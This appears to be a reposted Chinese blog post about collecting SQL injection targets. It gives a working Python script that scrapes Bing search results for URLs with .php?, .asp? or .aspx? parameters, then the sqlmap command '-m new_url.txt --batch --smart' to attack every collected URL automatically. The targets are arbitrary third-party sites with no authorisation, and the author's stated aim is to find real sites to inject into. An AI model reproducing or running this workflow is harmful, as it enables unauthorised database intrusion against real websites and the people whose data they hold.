标签:contents search href lib target 文件 关键字 编码 csv
注入一直都是用sqlmap 导致本来就不怎么精通的手工注入现在就忘的一干二净
想实战练习 却一时又找不到有注入的网站 于是便有了这篇文章
想找个批量获取域名链接的工具 但都是只是获取域名而已 都没获取后面的参数
于是自己写了个
只获取bing前10页的结果 输入q 结束循环 并开始整理数据
#!/usr/bin/env python # -*- conding:utf-8 -*- import re import urllib.request,urllib.parse logo = ‘‘‘ _______ ___ ___ _ |__ __| / _ \ / _ \ | | | | | | | | | | | | | | ___ | | | | | | | | | | | | / __| | | | |_| | | |_| | | | \__ \ |_| \___/ \___/ |_| |___/ ‘‘‘ print(logo) def Obtain_url(): #爬抓bing获取url page = [‘‘, ‘&first=11&FORM=PERE‘, ‘&first=21&FORM=PERE1‘, ‘&first=31&FORM=PERE2‘, ‘&first=41&FORM=PERE3‘, ‘&first=51&FORM=PERE4‘, ‘&first=61&FORM=PERE5‘, ‘&first=71&FORM=PERE6‘, ‘&first=81&FORM=PERE7‘, ‘&first=91&FORM=PERE8‘] headers = { ‘User-Agent‘: r‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ‘ r‘Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3‘, ‘Referer‘: r‘http://www.baidu.com‘, ‘Connection‘: ‘keep-alive‘ } while True: #一直循环输入关键字 crux = input(‘请输入关键字:‘) if crux == ‘q‘: #判断关键字是否为q 是就结束循环 break crux = urllib.parse.quote(crux) #解决编码报错问题 with open(‘url.txt‘, ‘a‘, encoding=‘utf-8‘) as f: for i in page: content = urllib.request.Request(‘https://cn.bing.com/search?q=‘+crux+i,headers=headers) contents = urllib.request.urlopen(content).read().decode(‘utf-8‘) res = re.compile(r‘<h2><a target="_blank" href="(.*?)"‘) data = res.findall(contents) for i in data: print(i) f.write(i+‘\n‘) def url(): #处理bing爬抓下来的链接 url = [] with open(‘url.txt‘,‘r‘,encoding=‘utf-8‘) as f: #读取文件内容到列表里 for i in f.readlines(): url.append(i) data = list(set(url)) #去重url列表 data = sorted(data) #排列顺序 with open(‘new_url.txt‘,‘a‘,encoding=‘utf-8‘) as f: #判断url是否有.php? .asp? .aspx? for i in data: res = re.compile(r‘\.php\?‘) datas = res.findall(i) if datas != []: f.write(i) else: res = re.compile(r‘\.asp\?‘) datas = res.findall(i) if datas != []: f.write(i) else: res = re.compile(r‘\.aspx\?‘) datas = res.findall(i) if datas != []: f.write(i) Obtain_url() url()
输入q
结束循环并开始处理数据
url.txt 是爬抓的链接数据
new_url.txt 是处理后的数据
复制 new_url.txt 到sqlmap根目录
sqlmap.py -m new_url.txt --batch --smart
-m是用new_url.txt里面的链接批量注入 --batch自动选择 --smart快速注入
注入的结果在C:\Users\Administrator\.sqlmap\output 文件下
类似results-04242018_0624pm.csv的文件中
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原文地址:https://www.cnblogs.com/smxiazi/p/8954594.html